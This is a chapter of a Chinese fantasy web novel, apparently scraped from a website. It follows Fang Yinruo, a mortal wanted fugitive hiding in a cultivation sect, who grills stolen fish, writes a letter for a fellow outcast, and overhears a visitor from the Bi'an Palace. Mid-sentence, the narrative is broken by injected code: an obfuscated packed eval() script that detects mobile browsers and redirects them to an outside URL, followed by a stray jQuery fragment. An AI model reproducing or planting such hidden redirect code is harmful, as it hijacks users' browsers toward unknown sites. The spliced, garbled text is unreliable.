“往左一点，左一点。”


    尖锐的箭尖对准藏在树梢阴影间的黑白身影，上，下，左，右。


    像是终于忍受不了耳边的聒噪，弓箭手怒而抬目：“你行你上！”


    冰雪覆盖在苍翠的冬竹上，一身鸦色紧身衣的杀手挠了挠脑袋，脖子惊吓似的一缩，立刻摁下弩箭：“等一下。”


    远远的墙内树梢，人影侧过脸，露出娇俏但完全陌生的五官，两人肩膀一松。


    “看错了。”弓箭手出口气。


    “看错了。”杀手喃喃。


    另一棵竹子背后站着位散修，宽袍拂尘，仙风道骨的长老模样，对着这两人的举动嗤了一声：


    “别费那劲了，一朝被蛇咬还有十年怕井绳呢，自从五年前中过箭后，他都多少年没爬过树了，你们逮不着的。”


    散修口中的“他”，全名房尹若，狴犴宫第九号通缉犯。


    不过与满榜凶魔不同的是，“他”是一个凡人。


    一个八年前就上榜，至今仍未伏诛的，凡人。


    散修言之有理，弓箭手和杀手短促地点了下头，重新将自己隐藏起来。崎岖荒凉的山野之上，数不清的杀机人影藏在竹林之中，宛如蛰伏的毒蛇，安静地望向终点——那块同光宗的牌匾。


    白墙青瓦，绿荫叶涛。


    宗主结界庇佑着这一方苦地，即使数九寒天，同光宗内依然晓风拂面，春色满园。


    此时此刻，宗门之内。


    九号通缉犯房尹若正在烤鱼。


    零散的灌木灰扑扑蹲踞在视野角落，一股白烟自水潭边袅袅上升。房尹若蹲在地上，不同于全宗门清凉飘逸的道士风，他穿着雪白短袄外裹着绒边披风，下巴缩在毛茸茸的领子里，一副生怕自己冷死的打扮。


    “师兄，你又去偷鱼了。”


    卿师妹抱着竹筒，远远看见便道，语气中暗含责备。房尹若握着树枝熟练地翻了个面，金黄焦脆的鱼皮滋滋响，卿师妹眼睛一下就直了，下半句教育的话也随着口水一起咽下。然后房尹若指了指天：


    “师妹，人要有同理心嘛，你看看咱们这地儿。”


    ——不毛之地，荒原僻壤。


    一入冬更是死绝了，只有宗门外那片竹林还不要命地活，鸟在这拉屎都是天上掉馅饼，恩赐送肥料。


    也就宗主，爱好养鱼，喜欢养鱼，之前下山做委托时带回一堆杂七杂八的鱼苗，不要钱似的在这荒山上用浩瀚灵力养育了一池活鱼。


    也就房尹若，厚着脸皮跑人家后院池塘里抓鱼。宗主灵力一年更比一年，鱼苗存活率却一年不如一年，越养越少，越养越小。


    卿师妹有些羡慕地看着火舌上的烤鱼：“师兄不辟谷，怪不得修为从不长进。”


    “错了。”


    房尹若从袖子里掏出一小罐粗盐，宗门内没有厨房，这是他托卿师妹外出做委托的时候顺便捎回来的。他摘下烤鱼，递一支过去，卿师妹犹豫了小会儿，以惊人的毅力摇头拒绝了。


    “正是因为修为不长进，所以才不用辟谷。”


    若师兄一本正经的歪理向来比阁楼的经书还要一套一套的，卿师妹习惯了，也就懒得反驳。


    “过几天考核，大师兄说今天就要把对试名额整理出来……”一边说，卿师妹一边掏出抽签筒，这便是她此行的目的。


    “我弃权。”房尹若头也不转，嘶嘶呼呼咬着白花花的鱼肉，飞快应付道。


    一月一小考，三月一大考的，如果被羞辱也有等级刻量，房尹若早就被钉死在耻辱柱上。


    反正怎么样都是笑话，还不如选择让自己轻松点的方式。


    “……好吧。”卿师妹也习惯了，收起签筒，“师兄知道狴犴宫来选道士吗？”


    “听说了。”


    树下小憩的时候听说的。


    那时他脸上盖着一本《练气》，几个弟子聊天路过，没长眼睛似的在他腿上绊了一下，硬生生给他踢醒了，那些弟子叽叽喳喳讨论这件大事，想不知道都难。


    “大家都在写自荐书，这样好的差事可不多得，师兄不去？”


    “去不了。”房尹若埋头啃鱼，眼皮也不抬。


    卿师妹知道自己问错了话，虽然房尹若可能并不介意，但她心里还是梗了一下，沉默片刻才道：


    “师兄，如果是狴犴宫的话，或许可以带你出去。”


    “……”


    房尹若笑了一下。


    捧着烤鱼吃本来是很粗鲁的动作，但他吃得不紧不慢，也不龇牙咧嘴，偷偷摸摸的举动，却被房尹若吃出了“享用”二字。他抿了抿骨头，丢在地上，拿起第二条，不在意地说道：“我看前几日星盘预测东南方向将有魔患，狴犴宫人手不足，于是就近选择同光宗聘用。”


    “但是说到底，择人也要评估价值与风险。”


    房尹若道，“比我厉害的大有人在，师妹，倘若你有的选，会无缘无故选择麻烦吗？”


    “……”


    卿师妹嘟囔：“好吧。”


    或许是被提及心事，走了会神，鱼肉陡然烫到舌尖，房尹若“嘶”了一声，将烤鱼撤离嘴唇，看向卿师妹，眯了眯眼睛，似有所想般：“你还有事？”


    在卿师妹看来，若师兄的眼睛形状偏长，睫毛浓密，瞳色类琥珀，微微含起时眼角内钩极为锋利，可惜这样的攻击性只存在一刹，一刹过后，又恢复了无所事事的神情。


    她扯开嘴角露出个有点微妙，又有点尴尬的笑容。


    “这么明显吗？”


    “你的心事都写脸上了。”


    卿师妹只好期期艾艾道：“若师兄，大家都在写自荐书，我，我的字写不好……”


    卿师妹进宗门之前并未念过书，进宗之后开始自发的学读写，如今读倒能读不少，只是一手烂字实在羞于给外人展示。


    房尹若听懂了：“我帮你写？”


    卿师妹小鸡啄米顺坡而下：“好呀好呀。”


    同光宗不比其他门派，招收弟子的方式很野鸡，全靠宗主出门游历拐带。


    卿师妹是在一个山疙瘩里被捡到的。


    那时候她戴着草帽，穿着裁缝补丁的粗衣，整日背着箩筐里的婴儿在河边赶鸭子。家中五个姊姊尽数嫁人，她也被预订给山那头的屠户，只待天癸水至后就出嫁。


    那天碰巧遇见路过的宗主，见她骨骼清奇还算个人才，遂花了比彩礼高三倍的价钱，将她带回了宗门。


    宗主赐她法名尘卿。虽然宗主本人从未提及，但卿师妹猜测，这个名字，是要她忘却前尘，开启崭新的生活。


    愿景总是美好的，来到同光宗的短短半年后，卿师妹在心里面搭筑的期待就像被虫蛀空，渐渐开始崩塌。


    她缠过足，练剑下盘有后天的缺陷，加上从小住在深山里不与人往来，鹦鹉学舌般笨拙的社交技巧很快惹来轻视与背刺。口音是花了两年才彻底纠正过来的，这时候交友圈子已经基本固化，没人再愿意搭理她。


    除了房尹若。


    卿师妹好歹只是人际关系冷淡，房尹若则根本没有社交这一回事。


    非要形容的话，他应该是宗门里最不招待见的那号人。


    四体不勤，五谷不分，剑提不动符画不好，八年来所学除了算卦再无其他，即便如此，连卦象都分不清。最迟入宗的小师妹都已经练气中期，而他一本《练气》看了八年也才将将学会引气入体。


    肉眼凡胎不辨魔气，整日除了偷鱼打鸟就是发呆瞌睡，修行门派实力至上，房尹若天赋努力两不沾，如果说谁最受欢迎可能还要分个三五六，但若有谁是宗门之耻的投票，房尹若是当之无愧的。


    最可气的是，偏偏宗主对这个之耻还不错。


    弟子们挠破脑袋也想不出不把他扫地出门的理由。同样是弟子，一个要天赋没有实力没有上进心没有的人，凭什么和他们的待遇一样，还比他们自在？


    这合理吗？


    -


    邪魔的存在，一直是这个世界的未解之谜。


    执念，恶意，总之都脱不开一个“人”字。


    人们坚信，邪魔由人心起，厌烦，憎恶，唾弃，愤怒，鄙夷，贪嗔痴，只要人还在，邪魔就永远不会断绝。


    为了抵御邪魔，凡间和通天域合作，延伸出了许多手段，委托任务只是其中之一。有时地区的邪魔长期盘踞难以拔除，人间也会有一些名门望族、江湖组织，选择短时间高薪聘请宗门内有能力的弟子，合作除魔。


    不过，关于那些人口中的狴犴宫，既不是名门望族，也不是江湖组织。


    房尹若其实也是有好奇过的。


    他入宗以前和狴犴宫的一位领导订过亲，很久远的事情了，久到他都快以为自己忘记了，听到狴犴宫来人的消息，这一段记忆才仿佛苏醒似的，忽然从大脑中复苏。


    ——他刚才混沌的梦中惊醒。


    望着那几个踢他却不道歉的弟子远去，房尹若放空神思，猛地一激灵，四肢乱动从地上爬起，随便整了整披风，抓着书往长明殿的方向跑去。


    是酷冬，由于宗主设下的结界，同光


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13899364|147168||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宗内不见半点雪渍，是微风浮尘，香气怡人。


    弟子们无需厚重的棉装，依旧是粗布道袍，两袖空空漏风，照样谈笑风生，不觉丝毫寒冷。


    唯有房尹若，棉靴棉袄围脖外加一件披风，全副武装把自己裹成了个格格不入的棉花怪物，跑的鼻尖通红，嘶嘶喘着冷气。


    他先是从侧门进去，后窗底下已经挤满的窃听的弟子，如同架子上的丝瓜，粗粗一瞥便知没有自己的位置；


    遂又大步后撤到中庭，抬头，黑瓦上同样乌鸦似的落了好几个，显然也不欢迎他。


    ……这都不是问题，重点是他上不去。


    房尹若眼珠一转，拔腿往正门跑。


    长明殿的门大敞，门前空无一人，因为这里既不能听清对话，也不如房顶的视野好。他贴着墙缓缓靠近，耳畔断断续续接收到屋内传出来的声音：


    “宗主闭关不便接见外客，客人若是有什么需求，跟我说就是。”


    房尹若缓缓将脚尖递出去，踩住地面，然后一寸一寸挪动自己的重心，用害怕惊动空气的耐心，无声无息靠近了门沿。


    “……苦海毗邻神域，灵气乃凡间至通天域最盛的地方，同光宗招收弟子的条件一向苛刻，故而本宗修士，无不天赋异禀，各有神通，想来是可以帮到阁下的忙的……”


    说话的是陈师兄，宗主座下大弟子，也是同光宗最能称得上天之骄子的一位。


    宗主闭关，宗内事务便落到了陈师兄的头上。


    听情况，他大约是在和那个狴犴宫的“客人”讲话。


    房尹若还没将头探出去，下一秒，客人的声音就响了起来：“如此这般便好。”


    房尹若的动作瞬间停滞。


    那声音沉稳磁和，像块磨砂玉，冰凉又温和，是明显的男性音色。


    不是她。


    这一刻，房尹若意识到了一件事。


    ——他已经很久没有失望过了。


    失望是一件糟糕的事，先有希冀，希冀再毫无预兆的落空，砸到人心脏上，一跳一跳的，也不疼，只是像块纱布一样缠着，快透不过气。


    八年来房尹若让自己变成了一块轻飘飘的棉花，一朝不慎落入名为期待的水池，独自湿漉漉又沉重，狼狈的令他讨厌自己。


    结界外又开始下雪，细密的雪籽打湿了地面和衣襟。


    房尹若抱着《练气》往庐舍走去，等他的背影消失后，长明殿内，陈师兄喝了口冷茶，听见客人蓦然道：“如果方便的话，可否让我见见贵宗各弟子？”


    “唔。”陈师兄忙不迭放下茶杯，“自然。”


    他从善如流推开纸窗，吱呀一声。


    窗外偷听的姿势五花八门，听见动静纷纷抬头，脸色呆滞的如出一辙。


    陈师兄笑眯眯：“都在这了。”


    “……”


    “还有一些在顶上，我给您喊下来？”


    “……”


    _


    日落时刻，金色的余晖涂抹云层，覆冰的山面上反着璀璨的光，仿佛越是人烟稀少的地方，天空的艳丽越不吝啬。


    房尹若夜晚烧了壶开水，兑上凉水坐在书桌边上泡脚，伏在桌案上写卿师妹的自荐书。


    烛影晃动中不时响起水面隐密的拂动，他揉了揉手腕，将毛笔搁在笔架上，细细地卷起自荐书，这时耳边响起：


    “笨蛋，笨蛋。”


    房尹若充耳不闻般，将纸卷放好，然后抻了个漫长的懒腰，伸手去够巾帕，慢吞吞地擦脚。


    桌上趴着一只红目薄翅的银蝉，嗡嗡地动着翅膀，嗓音细弱，语气却是十成十的嘲讽：“笨蛋，璃是笨蛋。”


    房尹若停下动作。


    一根手指摁过去，还在哼哼唧唧的银蝉顿时就闭了音，害怕她真的会摁下来似的缩了缩触须，小声但勇敢道：“璃没有朋友。”


    没头没尾的，但房尹若知道银蝉在说什么。


    卿师妹与他不过是被排挤在金字塔之外的两个孤立的人，在外人看来他们或许是报团取暖，但房尹若清楚，卿师妹从来没把他当成真正的朋友。


    她是个从出生就被抛弃的女孩，不懂得爱，不懂得被爱，只是像迫切寻找水源的渴兽一样需要的孤单以外那一点虚弱的陪伴，即使这个对象是万人嫌也没关系。


    房尹若看透了她，但从不说什么，因为根本上来说，他们是一样的人。


    明知虚伪的陪伴是镜花水月，但是没办法，太缺了。


    因为太缺了，所以只要有，哪怕虚伪一点也没关系。